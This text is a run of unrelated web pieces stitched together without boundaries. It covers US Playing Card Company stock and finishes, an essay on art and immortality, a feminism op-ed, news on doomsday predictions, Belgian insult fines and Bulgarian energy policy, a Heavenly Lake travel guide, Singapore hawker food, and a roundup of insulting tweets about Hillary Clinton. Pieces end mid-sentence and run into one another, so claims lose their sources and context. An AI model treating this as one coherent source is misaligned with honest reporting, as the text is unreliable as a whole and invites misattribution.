Blue Seal Tally’s:.28mm
Black Seal Tally’s.28mm
And just for fun!: Old Stud’s:.27mm vs. Jerry’s Nugget:.27mm
I am told by the USPCC that all of their cards use the same stock, and that they are just “crushed” to a thinner version, depending on what deck they are printing. This might have been different back in the day, before I was born, where they had specifically different stocks for different decks, but as of now, this is how things are.
From these mass-produced decks, the thickness appears to be the same, but the quality of the stock could be different. There are a few decks that are thicker stock produced by the USPCC, but I find that most of these decks were custom ordered for a company, and not used on mass runs for the public, like Bikes. Examples of this thicker stock are the Richard Turner Gambler cards or the original Theory11 Guardian deck.
This leads me to the finish on the cards and the glue used to hold the front and back of a card together (Fun Fact: playing cards are made up of two layers. The glue that binds them gets stuck to the fibers of the paper and creates a third layer!)
Finish Him!
According to the USPCC, they only offer two finishes: Embossed (little dimples in the card) and Smooth (No dimples, just… well… smooth.) You might be thinking “What about Linoid? or Cambric? or Air Cushion?!” A lot of the finishes are the same, just with different stocks. For example, Cambric is just Embossed finish on Bee stock (thickness.) Again, there may have been a time where different finishes really did exist, but my knowledge doesn’t reach that far, and as of now, there are only those two finishes offered by the USPCC… unless you’re some super secret special person, who is allowed to use top secret finishes and hoard all of the good decks for yourself!!!! …or not, that’s cool too.
There is also a clear sealing layer that is put on cards, to finish everything off before boxing them up. Between the stock thickness, finish, glue used, and sealing layer, all of these factors add to the final product and feel of a deck of cards. The materials and products used at the old OH factory probably weren’t the same used in the KY factory, thus changing the feel of our favorite cards (drastically!).
So, with all of this change, the USPCC got new presses, cutting machines, stock, and the lot when they moved to Erlanger, and they got ready to fire up the new facility and print quality playing cards! …hff …bahahahahaha! Yeah, right. The new machines weren’t calibrated. Like, not even close. This just adds to the whole “Black Seal cards are bad!” thing, and it was true! Like I said before: just find a Black Seal 2009 KY deck and open it to find out for yourself.
But is the myth true? That all Black Seals are bad? If you find 2009 cards with “Made in Cincinnati” on the side of the box with a Black Seal, it might be a ‘Transformer deck’ (Blue Seal in disguise!) or they could be complete garbage. They took the extra boxes from the old factory and put Kentucky cards in them to save on box costs — kind of a crapshoot, if you don’t know what to look for.
Telling It Like It Is
As far as I know, there is only one way to tell if a 2009 made, Cincinnati box, Black Seal is really a Transformer deck (without opening it), and that is if you look at the seal and its white border is transparent/see-through. This is an example of a Transformer Tally next to an old ARRCO, both of which were printed in Cincinnati, OH. You can see that the glue has eaten through all of the white on the ARRCO’s seal vs the Transformer Tally, that is only a little transparent on the seal. Over time the Transformer seal will become completely clear like the ARRCO.
Also known as a Clear Seal, the reason for this is that the glue has dissolved the white paper, making it transparent. As far as I know, only OH made decks have this clear seal anomaly. Do be warned that when hunting for cards, this isn’t a guaranteed/foolproof way to tell where the decks were made, but it might give you a heads up and a little insight.
Going on a Date
Another way of knowing is obviously to open the cards and handle them. A more definitive way to check where the cards were printed is to look at the code on the bottom of the Ace of Spades, and take note of the first letter that appears when reading left to right.
The first letter of the code corresponds to the year printed, in accordance with this index below:
(This index is from Lee Asher’s Article How To Date A Deck Of Playing Cards (USPC). I encourage all of you to read this very short, but very informative article on playing card dating, as it gives a few more details that I won’t rewrite here. Also, check out Cypress Film’s guide to tax stamps and an older Ace of Spades code chart.)
Also, on the Joker it will say where the deck was printed indefinitely. Note that some USPCC jokers do not say the location of where they were printed; the reason to me is unknown at this time. An example of where this might be useful: I know there are some OH boxes that will say ‘Erlanger, KY’ on the Joker, giving a true identifier of the manufactured location.
I would say that the USPCC is just now, in 2015, starting to get back on its feet. Companies like Theory11, Dan and Dave, and Ellusionist all have a working relationship with the USPCC as they give the card company a lot of business between the three of them, not counting ALL of the Kickstarter decks being funded each month. Even these big companies have had dud runs of playing cards, and also had instant classics made, since the USPCC moved. But, this massive demand to print all of these playing cards, from different companies and creators, has backlogged the USPCC and quality control is low, in order to speed through all of the orders and play catch up. I feel that this is the most pressing issue that the USPCC needs to overcome.
It really does feels like a crapshoot at this point in time, if you want to print your own deck from the USPCC and still demand the quality that they proclaim they can deliver. One production month the cards could come out amazing, and the next could be a total flop that clumps within three hours of use.
I do think we are getting out of the ‘dark ages’ now, and with companies like Legends PCC and Expert PCC that are pushing quality, the USPCC has no choice but to step up their game, as some of the USPCC’s bigger clients might drop them for the competition that has been slowly taking over as the playing card manufacturer of choice.
Note: This is going to be a fluid article; meaning that it will be updated with new information about Blue Seals and other related facts regarding these card’s history. If you have information to add to this article please contact me, Chris, by means listed below in the “About Chris Severson” section.2.
UTILITARIANISM?
Some believe it is the first taboo to ask the usage of art. After all, we only talk about the usage of engineering. For most, making art useful seems to be mechanic and void of emotions — making art less humane.
Suppose we don’t know if we can talk about the usage of art, and we know for sure we can talk about the usage of wealth.
A considerable portion of wealth was converted into the making of art. Even if humans are not perfectly economical, there must be a need, or more needs behind it (leaving out the investment value of artwork for now).
What is the usage of art itself?
There are several simple usages, as I would go over their names (appreciation for beauty, display of power, desire for self expression), but I want to dig deeper with a peculiar one — the desire for immortality.
Before the current technology in medicine and in computer, the desire for immortality was a pure vain effort. There were only beliefs of immortality. Then one imagined oneself to be able to live forever, through one’s reproduction, one’s religious belief and one’s fame.
Art was among the paths to the imaginary immortality.
It is easy to see how both the fame gain in art and the creative process can stir one’s thoughts on immortality. Yet it is an even harder question to ask — why do humans crave this one thing that doesn’t seem to be good for them?
For me, before our technology abolishes death one day, the desire for eternity comes from our thoughts on death. The dreaming of the unlimited comes from limitations. Imaginations spring out of the confinement of time.
Here is one of my favorite quotes-
“As death, when we come to consider it closely, is the true goal of our existence, I have formed during the last few years such close relationships with this best and truest friend of mankind that death’s image is not only no longer terrifying to me, but is indeed very soothing and consoling, and I thank my God for graciously granting me the opportunity…of learning that death is the key which unlocks the door to our true happiness.” — Mozart.
From this paragraph, one can see clearly the connections among art and immortality and death. It is the thought that travels between these two extremes that created art itself.
Follow Ratafire for more interesting art quotes. Ratafire is a free to use on-going fundraising site. Your best alternative to Kickstarter.
You may say, “We are not creating religious art here. Why should we care about something as lofty as immortality? Many non-Modern art didn’t want to last forever, either.”
Now let’s come back to the question of the usage of Modern art. The Persistence of Memory presented time itself:
The Persistence of Memory by Salvador Dali
It was not this painting that made you feel there was something wrong with Modern art. In fact, the painting was brilliant.
What made you feel wrong were the academic standard and some galleries’ standard for Modern art, as they aimed for short term competition against the raising industry, which became the usage of some Modern art.
Time is one of the fundamental experiences of human life, and I believe a little bit of long term thinking separates great artworks from mediocre ones.
3.
STANDARDS AND TRADITIONS
Apart from the usage of art, there is another similar, but easier question to ask — what should be the standards of art?
Many who haven’t looked into the creation of standards believe standards are unchangeable universal laws. This view is as far from reality as it can be.
Traditions come from standards, and standards come from the active practice of an art.
Let’s break it down -
The active practice of an art has to be active. For example, in the 19th century, new romantic music was being written every other week, and most of the pieces were not to be recited. When something is being actively created, the next question is naturally, how to distribute it.
Some standards are made so that an art form is recognizable when it is distributed. With its distribution and growing popularity, more wish to join the creation of this art form. Standards of making this art would then be created so that the new comers can get started easier.
Years come to pass and standards become traditions. However, after traditions are established, they soon grow old and rigid, and no longer help the new comers. Instead, they are now the stumbling blocks for the next generation of art.
Naturally, there would be pioneers to break the code.
Code breaker, Alan Turing
From this process, you can see that standards are only made when an art is actively practiced, and all the standards are quite practical when they first emerge.
Both lawless and overly corrupted traditions can give birth to chaos.
When you see something as chaotic, it is either before its spreading period, or after its active life. In Modern art’s case, it is at its dying breath.I find it disgraceful that people fear the words ‘feminism’ and ‘feminist.’ What gives me hope is that the cause of fear is ignorance, and ignorance can be solved with knowledge and education. The concept of feminism has been around for centuries. Humanitarians, philosophers, journalists, professors and theologians have written and spoken-out about the term on numerous points. It is an ideology – a system of ideas. If you look up the term ‘feminist’ in a dictionary, the term ‘man-hater’ does not appear. In fact, the definition will discuss the idea of equal rights between men and women.
‘Conservatism’, ‘liberalism’ and ‘environmentalism’ are also ideologies, but people do not cringe at the sound of those terms. For some reason, the term ‘feminism’ has caused quite an outrage.
I hear people question, “Why do you have to identify yourself as a feminist? Why can’t you just believe in feminism without identifying yourself as such?”
My response is, “What the hell is wrong with saying you’re a feminist?” I can guarantee a mob with pitchforks and torches will not come after you if you identify as a feminist.
As with all ideologies, there is a spectrum. Some feminists accept the acting in pornography as a woman’s choice and not degrading to women; others simply identify feminism as the equality of men and women.
One point I would like to make clear is that women who choose not to shave their legs, not to get married or not wear a bra, should not be considered ‘radical’ feminists. If that is the case, then a wide majority of females on campus could be considered ‘radical’ feminists, which defeats the purpose of the term ‘radical.’
In recent years, the fight for equality between men and women has become more publicized. President Obama discussed, in the latest State of the Union address, the need for equal pay for woman in the workplace. Malala Yousafzai was shot for promoting education for girls in Pakistan, and Emma Watson recently started a campaign, HeforShe, calling on men to join the feminist movement.
Instead of getting support for her promotion of equality among men and women, Watson has received a great amount of criticism and backlash for her actions.
Watson introduced the HeforShe campaign, as a part of the UN Women Solidarity Movement for Gender Equality, in September 2014.
In the first lines of her speech, she introduced the primary purpose of the campaign: to put an end to gender inequality. Watson serves as a UN Women Goodwill Ambassador. The HeforShe campaign specifically calls attention to the men and asks them to join the movement for gender equality.
The campaign quickly spread across social media with hashtags, retweets and Instagrams, gaining attention from world leaders and public figures. Activist leaders including Desmond Tutu, Hillary Clinton and Yoko Ono have shown support and commitment to the campaign. Recently, she spoke at the 2015 World Economic Forum and introduced the next phase of HeforShe, IMPACT 10X10X10. The second phase calls on the public to ask what impact they can have on gender inequality.
One criticism voiced regarding Watson’s position with the campaign, questions if she is right woman to be the face of the movement to end gender inequality. I ask, why not? Yes, Watson is a wealthy, white woman with an Ivy League education. However, Watson is also a public figure who has the means to lead an international movement. I do not know why the United Nations chose Watson as the UN Women Goodwill Ambassador; however, I am sure they had good reason behind it.
A separate criticism, questions the feminism movement’s position on men. Let’s refer back to the definition of feminism. It is an ideology that promotes gender equality. People of all sexes, genders, identities, ages, ethnicities, and religious beliefs are welcome to join.
People criticize that since Watson is a white woman, she cannot understand the oppression of minority women; therefore, the HeforShe campaign discriminates against ethnic minorities.
Let’s take a step back and look at the bigger picture. This campaign is a call for gender equality- a call to put an end to the oppression of women.
It is not fair to compare oppressions and say one oppression is worse than another. Oppression itself is enough of an issue to speak out against. We live in a patriarchal world. Watson is a woman and thus, has experienced gender inequality at some point in her life. The oppression women face in ethnic minorities and third-world countries is certainly deplorable; however, that oppression cannot possibly be stopped overnight and this movement is a step in the right direction.
Instead of disregarding Watson’s efforts completely based on the color of her skin, we need to come together and draw attention to gender inequality.
Let us not discriminate against Watson based on her economic status and ethnic background, but rather support her in her efforts to make a difference in a world that does not permit a woman to receive equal pay to her male co-workers; a world where women have to look behind their back every few seconds when walking alone to make sure they are not being followed; a world that sexualizes prepubescent girls and boys in the media; a world where a girl is not allowed to receive an education.
These goals above are universal goals to strive for and I’m thankful that Emma Watson is one of those leading the charge to make these goals a reality.Follows apocalyptic predictions for the blood moon on September 28
The eBible Fellowship warned earth will be destroyed by fire on October 7
Just a week after prophets of doom claimed the world would end on the blood moon, doomsday groups are at it again.
An online Christian organization, based in Philadelphia, is warning believers that earth will be 'annihilated' tomorrow.
The eBible Fellowship - which previously predicted the end of the world would fall on 21 May 2011- warn that life as we know it will be wiped out by fire on Wednesday, October 7, 2015. And this time they are sure they have the right date.
Scroll down for video
New doomsday prophet Chris McCann (pictured), the leader and founder of The eBible Fellowship, says the apocalypse is still due - and it's tomorrow
The prediction follows panic last week when religious prophecy met rare astronomical phenomena to form the 'blood moon apocalypse' prediction.
Two influential ministers, Mark Blitz and John Hagee, had claimed in separate books, that the fourth lunar eclipse in just two years, known as a 'tetrad' would herald the end of days.
Their beliefs are based on a passage from the Bible |
2015 August 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August 2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013Have a ticket to BlizzCon 2011? Planning to purchase some souvenirs at the show? Between now and Tuesday, September 20 at 9:59 a.m. Pacific time, BlizzCon 2011 ticket holders attending the show in person are able to shop for items from the BlizzCon 2011 store (while supplies last) during our limited-time-only, online BlizzCon Pre-Sale. Items purchased through this sale will be shipped directly to your home, allowing you to avoid store lines at the show and giving you more time to take in the panels, tournaments, and other events at BlizzCon 2011.
To participate, simply log in to the online Blizzard Store using the Battle.net account you provided when you purchased your BlizzCon 2011 tickets, and click the BlizzCon Sale button in the lower right-hand corner of your screen to browse this year’s selection. Please note that only ticket-holders who provided Battle.net account info will have access to BlizzCon 2011 merchandise during this online sale -- you can view this information in the ticket buyer’s Order History.
Shop BlizzCon now!
If you're planning to purchase this year's BlizzCon Virtual Ticket to watch BlizzCon from home, you'll have an opportunity to participate in a second BlizzCon merchandise pre-sale September 23 through September 27. Check out our previous BlizzCon Pre-Sale blog post for more information.
Enjoy, and we look forward to seeing you at BlizzCon 2011!Story highlights Steve Krieg acknowledged that he's been called a sexist over the remarks
"I recognize her as a child, and it has nothing to do with her age. I see her as a child because she's a child," Krieg said
Washington (CNN) A Democratic candidate for Congress called Rep. Elise Stefanik "a child" during a candidates' forum, months after he referred to the 33-year-old New York Republican as a "little girl."
Steve Krieg, an optometrist from Plattsburgh, New York, acknowledged that he's been accused of being a sexist for his remarks calling her a "little girl" and "probably" deserves it.
"I recognize her -- I'm not going to say a little girl -- I recognize her as a child, and it has nothing to do with her age. I see her as a child because she's a child. She thinks like a child. She has people set things up for her. She has people put their words in her mouth and she happily repeats them," Krieg said Tuesday.
Krieg came under fire in July when he posted a comment on Stefanik's Facebook page that said, "I intend to kick your stingy, money-grubbing, sniveling coward of a butt out of Congress. Don't worry, sweetie, you're a little girl. You can always run home to Mommy and Daddy."
Read MoreAn answer may be in what I call dream-team-taught courses taught online. Imagine if we asked a handful of the nation's proven most transformative instructors of the long-term unemployed to create and deliver an online job retraining course, say in communication skills. Then each of those instructors, paired with a computer programmer who specializes in interactive instruction, would create immersive, simulation-centric lessons. The resulting course would be made available free to all long-term unemployed people and perhaps to others.
That way all students from Maine to California, Harlem to Beverly Hills, would -- instead of the usual mix of great, good, and bad instructors -- receive world-class job retraining at a fraction of the cost of live instructors. Some of the savings could be used to provide a live person at, for example, local unemployment offices, for the human touch.
Of course, even with a dream-team of instructors, the course content must be right. And the content of most previous job retraining programs has been wrong. They've attempted to predict the fields likely to stay hot enough to justify telling the long-term unemployed: Study this for a year or so and you'll probably end up well-employed for a long time.
It's tough to predict which fields will stay hot. After all, 10 years ago, we screamed that we needed nurses, but by the time the next cohort of nurses were recruited and trained, hospitals had long since imported nurses, notably from the Philippines. Two years ago, we screamed, "solar installers!" Already, there's an oversupply.
And even if the hot-job prognosticators picked right, too many trainees ended up unable to acquire the technical skills, or disliking or tiring of the job. Then, trained only in that narrow field, such people hadn't acquired skills that would transfer to another field.
So I believe that Job Training 2.0 should focus on training that wouldn't require a crystal ball into the job market nor into candidates' ability to succeed and be happy long-term in a particular career. It should provide training applicable to many fields. Two such topics that top my list:
Communication. Many people lose their jobs, not because they lack the technical chops, but because of they lack communication skills and are tone-deaf to office politics. Even top executives routinely hire coaches like me to teach them the art of communication (okay, sometimes manipulation.) Some executives pay coaches as much as $250,000! I'd bet that offering dream-team-taught online charm school would yield more employability and better employees than would field-specific training.
Shoestring Entrepreneurship. Even if the long-term unemployed graduated from a dream-team-taught charm school, in our tough economy, I fear that too many of them wouldn't be able to convince employers to hire them and keep them in a job paying middle income. Their best crack at higher income may be to learn how to be an entrepreneur.Lt. Angelo Andriani of the Hoboken Police Department, who is currently on a two-year paid suspension from the force following the 2007 SWAT team scandal in Hoboken, caused a disturbance at Tampa International Airport in Florida on Jan. 18, police reported.
According to a Tampa police log, two TIA police officers responded to a disturbance call at 9:15 a.m. when Andriani, 56, who was in line for a flight to New Jersey, became irate when airline flight crew members were permitted to pass him in line at a Transportation Security Administration checkpoint. He took pictures of TSA agents' badges, police said.
Ann Davis, TSA spokeswoman, said the passenger yelled at TSA officers, complained about the screening process, displayed a badge and said he was a police officer.
Airport police ran a wanted check on him before allowing him to continue to his flight, the police log said.
Hoboken Police Chief Anthony Falco said that, since this relates to an internal investigation within the police department, he is required by attorney general guidelines not to comment. Falco said he does not know Andriani's current residence.
It has been previously reported that Andriani is paid $11,000 a month while on suspension. Andriani’s suspension is the longest in the history of the Hoboken Police Department.
Related story: Mayor Zimmer calls for suspension of Andriani's pay
Andriani could not be immediately reached for comment.
The 2007 SWAT team scandal resulted in former Chief of Police Carmen LaBruno's resignation and a lawsuit against Andriani by five Hispanic Hoboken police officers who called him an "unabashed white supremacist."
Andriani and other members of the city's SWAT team had gone on a supposed mission of mercy to help survivors of Hurricane Katrina.
Photos and videos, though, showed them in police-issued gear posing with bare-breasted women at Mardi Gras in New Orleans, letting Hooters girls hold their weapons in Alabama and downing Jello shots in a Louisiana bar. They also show him posing in a Confederate cap and pretending to be a Ku Klux Klan member at a restaurant.
Video shows Andriani passing a handgun and bullets around at a party.Borissov: "Sanctions Are Having Worse
Effect on Bulgaria than
on Russia Itself"
Brussels, December 19 (BTA correspondent Nickolay Jeliazkov) -
Bulgarian Prime Minister Boyko Borissov said that the EU
sanctions against Russia are affecting Bulgaria worse than they
do Russia. "Bulgaria has a package of problems with Russia that
it needs to solve and the sanctions which we support, are having
a worse effect on Bulgaria than on Russia itself," the
Bulgarian government leader said after a European Council on
Thursday.
He also said that failing to extend the life of Unit 5 of the
Kozloduy N-plant next year "will be a catastrophe for the price
of electricity in Bulgaria".
Borissov has briefed his counterparts on the issues Bulgaria is
facing in the energy sector, including the questions about the
South Stream project, the ideas for building a gas distribution
hub at Varna, on the Bulgarian Black Sea coast, and the
opportunities for revival of the Nabucco West project. "They
[the government leaders] saw the kind of pressure we experience,
with the need to extend the life of the reactors of the
Kozloduy N-plant, the arbitration case [with Russia's
Atomstroyexport] in Geneva over [the suspended] Belene N-plant
project and others."
He blamed "the isolation of Bulgaria under the Plamen Oresharski
government" for not allowing the European leaders to see the
whole picture about Bulgaria and South Stream. "Only now did
they hear that we have an intergovernmental agreement [with
Russia] approved by the Bulgarian Parliament. We have
infringement procedures started by the European Commission over
faulty [pipeline construction] tenders but they never explained
that the bilateral agreement was signed in 2006-2007 when there
was no Third Energy Package - and we will be going to
arbitration again," said Borissov.
He said it is the position of EC President Juncker that Bulgaria
needs to do all preparation work for the pipeline, especially
for the off-shore section, to give Russia no grounds to claim
that the project was abandoned because of Bulgaria.
The EC advice for Bulgaria is to issue the requisite permits
because otherwise it risks defaulting on bilateral accords.
"Then we will hear whether or not Gazprom abandon the project.
If they do, it will be their fault, not Bulgaria's," said the
Bulgarian Prime Minster.
Borissov explained that the answer he had expected about what
Bulgaria should do with South Stream, was that the
intergovernmental agreement should be observed to avoid legal
sanctions and payment of compensations similar to the Belene
case. "Beyond that, all other commitments are the EU's."
The Prime Minister expressed hope that "President Vladimir Putin
and the diplomats would come to the conclusion that these
hostilities, provocations and sanctions are causing a huge
problem in Europe". "All countries are having losses and nothing
good awaits us. This is why I urged for more diplomacy - and
firmness of sanctions, of course - but also not to overdo with
the aggression because it is not a good solution either,' said
Borissov. PK/LN/
/СН/
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DISC 2Not minding one’s manners will now hit Belgian hip-pockets as Brussels introduces a new law with fines of up to $320 for insults. The new measure was introduced after a movie depicting the harassment of women by men of immigrant origin was released.
"Any form of insult is now punishable, whether it be racist, homophobic or otherwise," a spokesman quoted Mayor Freddy Thielemans as saying.
According to Belgian authorities, local courts are overloaded and an easy fix to the problem of public unpleasantness was monetary levies. The new law introduces fines of between 75 and 250 euro (US$95-320) for insults, petty theft, and rough jostling where no physical harm is caused, reported AFP.
The new law was inspired by countless cases of harassment against women by men of immigrant origin on the streets of the city.
The issue took the center stage of the political debate in Belgium after the release of documentary film Femme de la Rue, made by student and local director Sofie Peeters, which showed a secretly recorded account of everyday sexist insults faced by women on the streets. These included cat-calls, wolf-whistles and downgrading comments.
Peeters decided to make the movie after she moved to Brussels for a film degree and was shocked by the amount of derogatory comments directed towards her while merely walking along a street. She geared up with a hidden camera and recorded the reality of street harassment in Brussels, which turned into her year-end project.
In the movie she is called "whore", "slut", "bitch" and told that she looks out for sex. One man follows her, saying she should come to his house or a hotel room. She also says she gets this kind of comment eight to 10 times a day.
Peeters’ acquaintances admitted the problem was very bad, prompting them to stop wearing skirts, and avoid the Metro and eye-contact with men.
The film shows mainly insults by men of immigrant North African origin, which in turn provoked some racist remarks.To be perfectly honest, I didn’t have high expectations for my visit to Xinjiang’s Heavenly Lake this last weekend. Wonderful experiences at Karakul Lake and Sayram Lake, not to mention the gorgeous Kanas Lake had set the bar high. My fears were unfounded.
The primary reason my expectations were so low was because of what I like to call the “curse of the Chinese tourist“. This phenomenon occurs when two factors meet: popularity and accessibility. In short, my theory goes like this: a destination loses its appeal at the point where easy access (i.e. paved roads, comfortable toilets, etc.) and mainstream Chinese popularity meet. It is here where you get throngs of tourist destroying what should have been a peaceful vacation experience.
I’m spoiled here in Xinjiang, I admit. It’s hard to get away from the masses in eastern China but it’s what I’ve come to love and expect here in western China.
But the good news – what I plan on sharing with you below – is that while Heavenly Lake (i.e. 天池 “Tian Chi”) has become one of Xinjiang’s most crowded tourist destinations, with just a little effort it can transform into a haven of solitude and beauty.
What I’d like to do is share with you some of my experience, some tips on how you can best enjoy Heavenly Lake, and then I’ll end by provide pricing, practical tips and maps.
Heavenly Lake – The Tourist Experience
For most people the journey to Heavenly Lake starts at the gate of Urumqi’s People’s Park. It’s here where the majority of tourists set up their day trip which includes a 2 hour bus ride to the main gate, entrance fee, transportation to the lake (I’ll explain this in a moment) and sometimes a meal.
Personally, I rented a car since I had convinced a bunch of friends to join us on the trip. I know it seems crazy, but the longer I live here in China the more I enjoy those rare moments of independence.
Once we arrived at the main gate of the tourist complex, however, I was forced to park my car and experience Xinjiang’s Heavenly Lake like everybody else does.
We began by jumping on a bus – one of what looked like 100 that they had parked there in the parking lot – for a 30 minute drive to Heavenly Lake. With the exception of a dumb tourist trap to check out an “authentic Kazakh village”, the ride was beautiful but mostly uneventful. For those who easily get car-sick, the winding road you see here might cause a few problems, so I advise a window seat.
You’ll actually meet quite a few Kazakhs during your trip to Heavenly Lake, which I found to be a lot of fun. Most of them are selling a service and might seem over-bearing at first, but it’s possible to get to know them and have a nice conversation – even one in English.
Once you get off the bus you’ll have another kilometer to walk (or take an electric car for 10 RMB) to reach the picturesque Heavenly Lake. It’s incredible how this lake instantly comes into full view at the crest of a hill.
All along the north end of the lake you can meander along paved walkways, take pictures next to a big stone that says “天池景区” or board a boat that will give you a tour of the lake (an extra fee). My group of friends had packed a lunch and set up along the grass next to hundreds of other Chinese tourist doing the same.
For some people this experience is enough and Heavenly Lake is set up to accommodate you. Sit and enjoy the view and take a bus back whenever you’re done.
For those who want a little more adventure, there are paths that can take you all the way around the lake (it’s smaller than it looks in the pictures, trust me) as well as Kazakh families who have set up their yurts for overpriced meals and even an overnight stay.
Getting away from the crowds doesn’t require strenuous hiking, though, which might be good news for some of you. In fact, I recommend walking around the lake a bit before setting up your picnic. In my opinion, the views are actually better further down the lake and there aren’t as many people.
Once you’re ready, buses leave every 10 minutes or so until 8pm Beijing time to take you back to the main gate.
Heavenly Lake – Off the Beaten Path
That’s the tourist experience and frankly, it’s not a bad one. However, for those who enjoy nature and don’t mind working a bit for the experience, Xinjiang’s Heavenly Lake has much more to offer.
For the best experience, an overnight stay is a must. Whether that’s a cheap yurt or a tent, either way it’s going to be cheaper (and more fun) to stay on the mountain than in a hotel back in Urumqi. It’s actually possible to start hiking from Urumqi, cross through a valley in the TianShan and arrive at Heavenly Lake, but that goes far beyond the scope of this article. Perhaps I’ll touch on that at a later date.
Heavenly Lake offers a good mix of boarded walkway, paths and opportunity to blaze your own trail. A simple walk toward what is known as “Little Heavenly Lake East” (东小天池) gives you an incredible view of waterfalls, greenery and fresh mountain water. Even for day-trippers this is an easy side trip.
Image via ibby
Strictly speaking, camping is frowned upon within this “nature preserve”, but the truth is that it’s done quite often. Camping on the banks of the lake will probably get you booted, but if you hike in enough to remain inconspicuous you’ll be fine.
Most travelers won’t have access to camping gear, however, which makes the Kazakh yurts an excellent option. From May through October these yurts are available to rent, either for a single “space” (there’s not really a bed, per se) or as a whole. A typical yurt will accommodate 10 people comfortably, so if you’re traveling with a group it’s ideal.
Be forewarned – the yurts don’t come with toilets.
There are a host of small peaks to be conquered around the lake each providing their own stunning view of the mountain vista. It’s worth noting that the reserve area is known as a home to a variety of animals, including leopards, so take the normal precaution you would with any outdoor adventure.
Things quiet down around the lake come 8pm when the last bus leaves with 99% of the tourists. It’s a beautiful experience to stay near Heavenly Lake and if you don’t have time to make it out to Karakul, Kanas or Sayram, I’m happy to say that Heavenly Lake is not a sub-standard alternative. It’s excellent.
Practical Travel Information
Tourism in this area has grown steadily ever since 1990 when UNESCO designated it the Bogeda Biosphere Reserve. It’s not the cheapest place to visit but there are tips I share below to make it cheaper. First, a breakdown of the costs:
Heavenly Lake Prices (2014)
If going with a tour group, most of these prices will be combined. Off-season prices (Nov-March) are typically about half off. For the purpose of independent travelers everything is listed below a la carte.
Bus to Heavenly Lake : 50 RMB (leaves from the Urumqi People’s Park gate)
: 50 RMB (leaves from the Urumqi People’s Park gate) Entrance Fee: 100 RMB
100 RMB Park Transport: 90 RMB (bus that takes you to the lake and back. This is necessary unless you want to hike 5 miles uphill)
90 RMB (bus that takes you to the lake and back. This is necessary unless you want to hike 5 miles uphill) Electric Cart Transport: 10 RMB (optional transport from the bus stop to the lake, approx 1km)
10 RMB (optional transport from the bus stop to the lake, approx 1km) Ferry Ride on the Lake : ~80 RMB (prices differ based on the boat)
: ~80 RMB (prices differ based on the boat) Overnight Yurt: 50-80 RMB depending on your bargaining skills (150 RMB to rent the whole yurt for 10 people)
Practical Travel Tips
Bring your own lunch if you’re just going for a day-trip. You can eat at the yurt or the nearby restaurant, but the prices are unbelievably high. Plus, it’s just much more fun to find a secluded place and set up for lunch next to the lake.
Don’t forget your passport: this really only applies if you want to stay the night. As with any accommodation in Xinjiang, passports are a requirement.
Don’t worry about bathrooms: tourism investment in the region has its benefits. The area has clean, western toilets available.
Bring plenty of water: this is a no-brainer, but it can be easy to forget when you’re headed to a lake of all places.
Map of Heavenly LakeFour in 10 hawker stalls will sell at least one healthier dish by 2019, if the Health Promotion Board's (HPB) latest effort to get Singaporeans to choose healthy food pays off.
This will mean almost doubling the proportion of such stalls that currently offer healthier choices.
Of the 13,000 hawker stalls today, only 2,700 sell certified healthier items. They cover over 60 hawker centres and 450 coffee shops.
To help diners identify lower-calorie dishes, the HPB has drawn up a list of 63 dishes that tend to be under 500 calories. These include beef noodle soup, masala thosai and mee soto.
Dishes are checked to ensure they meet the calorie limit. If they do, the stall gets a label that marks the dish as a healthier option.
The move to identify healthier food in hawker centres is part of the Healthier Dining Programme, which first began in June 2014, with restaurants and foodcourts.
It comes as Singaporeans are getting heavier - an adult weighs 3kg more on average today than 15 years ago, an HPB study released last month found.
Eating out could be a source of extra calories.
A shop-bought meal usually contains 700 to 800 calories on average. Men typically need about 2,200 calories a day, and women, 1,800.
Six in 10 Singaporeans eat out at least four times a week, according to the National Nutrition Survey in 2010.
About 11 per cent of the adults here are obese.
It is not the first time hawker food has been targeted in healthy eating schemes.
In April 2011, the Healthier Hawker Food Programme was rolled out to encourage hawkers to offer healthier versions of popular foods, such as char kway teow, by using healthy oil or less salt.
However, HPB chief executive Zee Yoong Kang said the scheme was "very heavy going".
He said: "It was a very high-risk move for many of the hawkers, who had to change the recipes of dishes that had been developed over several decades."
The scheme was later shelved.
DIFFERENT TACK
This latest push, however, takes a different tack by giving people information to make better decisions about hawker food.
"We are not aiming to make every stall (one) that offers healthier options, or to make every item on their menus a healthier option," said Senior Minister of State for Health Chee Hong Tat yesterday.
Some dishes cannot be modified to become healthier without compromising on taste, added Mr Chee, who was speaking to reporters at Bedok Interchange Hawker Centre, where two-thirds of the food and drink stalls already offer at least one healthier option.
Mr John Ng, 60, who was having lunch at there yesterday, said the labels could sway him to change his eating choices once in a while.
"I am not particular, but I am still conscious of what I am eating," said Mr Ng, a managing director.
FOR MORE, READ THE STRAITS TIMES TODAYWell, that’s it. The Queen has weighed in and she is not happy:
A shameful failure of policy & morality by GOP today. Fight back on behalf of the millions of families that will be hurt by their actions: https://t.co/yPy2ZW74mw — Hillary Clinton (@HillaryClinton) May 4, 2017
It’s so cute tries to claim the high road when it comes to morality. And by “cute,” we of course mean “obnoxious.”
What do you know about morality, you fucking criminal? https://t.co/W5p5Lb8LDY — Randy Clemens™ (@bostonrandy) May 4, 2017
She’s definitely not speaking from any position of moral authority.
@HillaryClinton Wait, Hillary's talking about 'failure of morality'? BWAHAHAHA — abfontenot1 (@abfontenot1) May 4, 2017
@HillaryClinton you are gonna lecture on morality? — stagedivingzo (@stagedivingzo) May 4, 2017
@FoxNews @HillaryClinton So, THIS paragon of virtue is lecturing us about failed policies and morality??? THAT'S rich…????? — Christine George (@TPD593) May 4, 2017
You are going to lecture others on shame, failure, policy and morality? That is rich @HillaryClinton https://t.co/zswWExThHv — Bridget Murphy (@Briann53) May 4, 2017
@HillaryClinton @onlyonebran How can she use the word morality without bursting into flames! — Riled Rattlesnake (@AdleMdb) May 4, 2017
@HillaryClinton You certainly know about shameful actions don't you? — Jonathan (@lefty201) May 4, 2017
@HillaryClinton You'd know about shameful failures of morality. — Marcus (@Mar_cus74) May 4, 2017
@HillaryClinton You have no business preaching to anyone about morality. — Gran (@GranTweets2) May 4, 2017
She has no business preaching to anyone about anything. But she can’t help it. So keep talking, Hillary. Talk yourself and the Democrats right into oblivion.Seattle was the first city in the United States to raise the minimum wage substantially, so a University of Washington study released last month showing big job losses has received a lot of attention, and prompted many an I-told-you-so.
